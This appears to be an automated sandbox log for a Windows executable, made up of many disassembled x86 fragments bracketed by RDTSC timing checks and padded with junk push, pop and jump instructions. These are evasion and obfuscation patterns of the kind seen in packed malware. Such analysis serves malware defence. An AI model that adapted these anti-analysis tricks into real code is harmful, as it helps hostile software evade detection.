Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF01AF second address: 4EF0253 instructions: 0x00000000 rdtsc 0x00000002 call 00007FDF21133ACBh 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b mov ax, dx 0x0000000e pushfd 0x0000000f jmp 00007FDF21133ACBh 0x00000014 add ax, AD5Eh 0x00000019 jmp 00007FDF21133AD9h 0x0000001e popfd 0x0000001f popad 0x00000020 popad 0x00000021 push dword ptr [ebp+04h] 0x00000024 pushad 0x00000025 mov edi, eax 0x00000027 push esi 0x00000028 mov bl, BCh 0x0000002a pop eax 0x0000002b popad 0x0000002c push dword ptr [ebp+0Ch] 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007FDF21133AD8h 0x00000038 jmp 00007FDF21133AD5h 0x0000003d popfd 0x0000003e pushfd 0x0000003f jmp 00007FDF21133AD0h 0x00000044 or cx, CE18h 0x00000049 jmp 00007FDF21133ACBh 0x0000004e popfd 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0253 second address: 4EF02A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FDF2105496Fh 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007FDF21054979h 0x0000000f and esi, 5D863266h 0x00000015 jmp 00007FDF21054971h 0x0000001a popfd 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e push dword ptr [ebp+08h] 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF02A1 second address: 4EF02B6 instructions: 0x00000000 rdtsc 0x00000002 mov ax, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 call 00007FDF21133ACBh 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F10DC0 second address: 4F10E05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21054979h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FDF2105496Ah 0x00000013 jmp 00007FDF21054975h 0x00000018 popfd 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F10E05 second address: 4F10E3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FDF21133AD5h 0x00000011 mov ebp, esp 0x00000013 jmp 00007FDF21133ACEh 0x00000018 pop ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F10E3D second address: 4F10E41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F10E41 second address: 4F10E5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133AD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F108B8 second address: 4F108F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FDF2105496Fh 0x0000000a xor esi, 067FD1BEh 0x00000010 jmp 00007FDF21054979h 0x00000015 popfd 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F108F4 second address: 4F10907 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133ACFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F10907 second address: 4F10989 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDF2105496Fh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov eax, 399E5B71h 0x00000012 mov ax, 3DADh 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FDF21054976h 0x0000001f xor cx, 5F78h 0x00000024 jmp 00007FDF2105496Bh 0x00000029 popfd 0x0000002a pushfd 0x0000002b jmp 00007FDF21054978h 0x00000030 sub eax, 14C7F9D8h 0x00000036 jmp 00007FDF2105496Bh 0x0000003b popfd 0x0000003c popad 0x0000003d mov ebp, esp 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 mov bh, 1Ah 0x00000044 mov bx, ax 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F10989 second address: 4F1098F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F107FE second address: 4F10802 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F10802 second address: 4F10808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F10808 second address: 4F1080E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F1080E second address: 4F10841 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FDF21133ACBh 0x0000000e xchg eax, ebp 0x0000000f jmp 00007FDF21133AD6h 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F10841 second address: 4F10845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F10845 second address: 4F10862 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133AD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F10862 second address: 4F10881 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21054971h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov cx, dx 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F10881 second address: 4F10887 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F10887 second address: 4F1088B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F105A4 second address: 4F105E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133AD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FDF21133AD0h 0x0000000f push eax 0x00000010 pushad 0x00000011 movsx ebx, ax 0x00000014 mov dh, cl 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov esi, 0DB62C2Dh 0x00000020 mov esi, 7E765E29h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F105E2 second address: 4F105E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F105E8 second address: 4F105EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F105EC second address: 4F1061A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21054971h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007FDF2105496Eh 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F1061A second address: 4F10637 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133AD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20415 second address: 4F20438 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21054978h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20438 second address: 4F2043C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F2043C second address: 4F20442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20442 second address: 4F2046E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FDF21133AD2h 0x00000008 pop esi 0x00000009 jmp 00007FDF21133ACBh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F2046E second address: 4F20489 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21054977h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20489 second address: 4F204AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133AD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F204AD second address: 4F204B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F204B1 second address: 4F204B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6003B second address: 4F600A7 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FDF21054978h 0x00000008 add cl, FFFFFFD8h 0x0000000b jmp 00007FDF2105496Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 movzx ecx, bx 0x00000016 popad 0x00000017 push eax 0x00000018 pushad 0x00000019 mov ah, D4h 0x0000001b pushfd 0x0000001c jmp 00007FDF2105496Dh 0x00000021 adc ecx, 363D9376h 0x00000027 jmp 00007FDF21054971h 0x0000002c popfd 0x0000002d popad 0x0000002e xchg eax, ebp 0x0000002f pushad 0x00000030 push ecx 0x00000031 mov eax, edi 0x00000033 pop ebx 0x00000034 mov bx, si 0x00000037 popad 0x00000038 mov ebp, esp 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F3071F second address: 4F30725 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F30725 second address: 4F30729 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F1075B second address: 4F1075F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F1075F second address: 4F1078A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov di, si 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b jmp 00007FDF21054970h 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FDF2105496Ah 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F1078A second address: 4F1078E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F1078E second address: 4F10794 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F10794 second address: 4F107C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133ACEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDF21133AD7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F107C0 second address: 4F107C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F107C6 second address: 4F107CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F3026F second address: 4F30299 instructions: 0x00000000 rdtsc 0x00000002 mov esi, 0F4D3ACBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b jmp 00007FDF2105496Eh 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FDF2105496Eh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F30299 second address: 4F302D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FDF21133AD1h 0x00000008 pop ecx 0x00000009 mov bh, A7h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f jmp 00007FDF21133AD8h 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F302D4 second address: 4F302D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F302D8 second address: 4F302DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50713 second address: 4F50760 instructions: 0x00000000 rdtsc 0x00000002 mov ah, E0h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FDF21054975h 0x0000000c sub ch, 00000066h 0x0000000f jmp 00007FDF21054971h 0x00000014 popfd 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a call 00007FDF21054973h 0x0000001f pop esi 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50760 second address: 4F5078B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133AD4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FDF21133ACBh 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F5078B second address: 4F5078F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F5078F second address: 4F50793 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50793 second address: 4F50799 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50799 second address: 4F507E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, dx 0x00000006 pushfd 0x00000007 jmp 00007FDF21133AD5h 0x0000000c adc cx, 1936h 0x00000011 jmp 00007FDF21133AD1h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FDF21133ACDh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F507E0 second address: 4F507E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F507E6 second address: 4F507EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50909 second address: 4F5090F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F5090F second address: 4F509B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 pushad 0x0000000a mov ebx, 67E4D358h 0x0000000f mov ch, dl 0x00000011 popad 0x00000012 retn 0004h 0x00000015 nop 0x00000016 mov esi, eax 0x00000018 lea eax, dword ptr [ebp-08h] 0x0000001b xor esi, dword ptr [00B72014h] 0x00000021 push eax 0x00000022 push eax 0x00000023 push eax 0x00000024 lea eax, dword ptr [ebp-10h] 0x00000027 push eax 0x00000028 call 00007FDF2555432Ah 0x0000002d push FFFFFFFEh 0x0000002f jmp 00007FDF21133AD8h 0x00000034 pop eax 0x00000035 jmp 00007FDF21133AD0h 0x0000003a ret 0x0000003b nop 0x0000003c push eax 0x0000003d call 00007FDF2555434Fh 0x00000042 mov edi, edi 0x00000044 pushad 0x00000045 pushfd 0x00000046 jmp 00007FDF21133ACEh 0x0000004b adc esi, 6BC99818h 0x00000051 jmp 00007FDF21133ACBh 0x00000056 popfd 0x00000057 pushfd 0x00000058 jmp 00007FDF21133AD8h 0x0000005d xor ax, 0278h 0x00000062 jmp 00007FDF21133ACBh 0x00000067 popfd 0x00000068 popad 0x00000069 xchg eax, ebp 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007FDF21133AD5h 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F509B7 second address: 4F509E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21054971h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDF21054973h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F509E4 second address: 4F509EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F509EA second address: 4F50AA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDF21054972h 0x00000009 jmp 00007FDF21054975h 0x0000000e popfd 0x0000000f movzx ecx, bx 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 mov ax, bx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FDF2105496Bh 0x00000021 sub si, 6F0Eh 0x00000026 jmp 00007FDF21054979h 0x0000002b popfd 0x0000002c mov ah, 24h 0x0000002e popad 0x0000002f popad 0x00000030 mov ebp, esp 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007FDF21054974h 0x0000003b sbb cl, FFFFFFB8h 0x0000003e jmp 00007FDF2105496Bh 0x00000043 popfd 0x00000044 pushfd 0x00000045 jmp 00007FDF21054978h 0x0000004a or al, 00000018h 0x0000004d jmp 00007FDF2105496Bh 0x00000052 popfd 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50AA3 second address: 4F50AE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDF21133ACFh 0x00000009 xor ax, E7DEh 0x0000000e jmp 00007FDF21133AD9h 0x00000013 popfd 0x00000014 mov ebx, ecx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pop ebp 0x0000001a pushad 0x0000001b mov ah, D7h 0x0000001d push eax 0x0000001e push edx 0x0000001f movsx ebx, si 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F0001D second address: 4F00068 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 jmp 00007FDF21054978h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 mov si, 0C4Dh 0x00000014 call 00007FDF2105496Ah 0x00000019 mov ebx, ecx 0x0000001b pop ecx 0x0000001c popad 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FDF21054973h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00068 second address: 4F000A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133AD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FDF21133ACEh 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FDF21133ACAh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F000A4 second address: 4F000B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF2105496Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F000B3 second address: 4F000B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F000B9 second address: 4F000BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F000BD second address: 4F00117 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and esp, FFFFFFF8h 0x0000000b jmp 00007FDF21133AD7h 0x00000010 xchg eax, ecx 0x00000011 jmp 00007FDF21133AD6h 0x00000016 push eax 0x00000017 jmp 00007FDF21133ACBh 0x0000001c xchg eax, ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FDF21133AD0h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00117 second address: 4F00126 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF2105496Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00126 second address: 4F0014A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133AD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F0014A second address: 4F0014E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F0014E second address: 4F00154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00154 second address: 4F00188 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDF21054970h 0x00000009 adc ecx, 5922DB38h 0x0000000f jmp 00007FDF2105496Bh 0x00000014 popfd 0x00000015 mov bh, al 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 mov ecx, edi 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00188 second address: 4F001BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133AD6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDF21133AD7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F001BC second address: 4F001DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FDF2105496Fh 0x00000008 pop eax 0x00000009 mov ah, bh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebx, dword ptr [ebp+10h] 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F001DD second address: 4F001E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F001E1 second address: 4F001E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
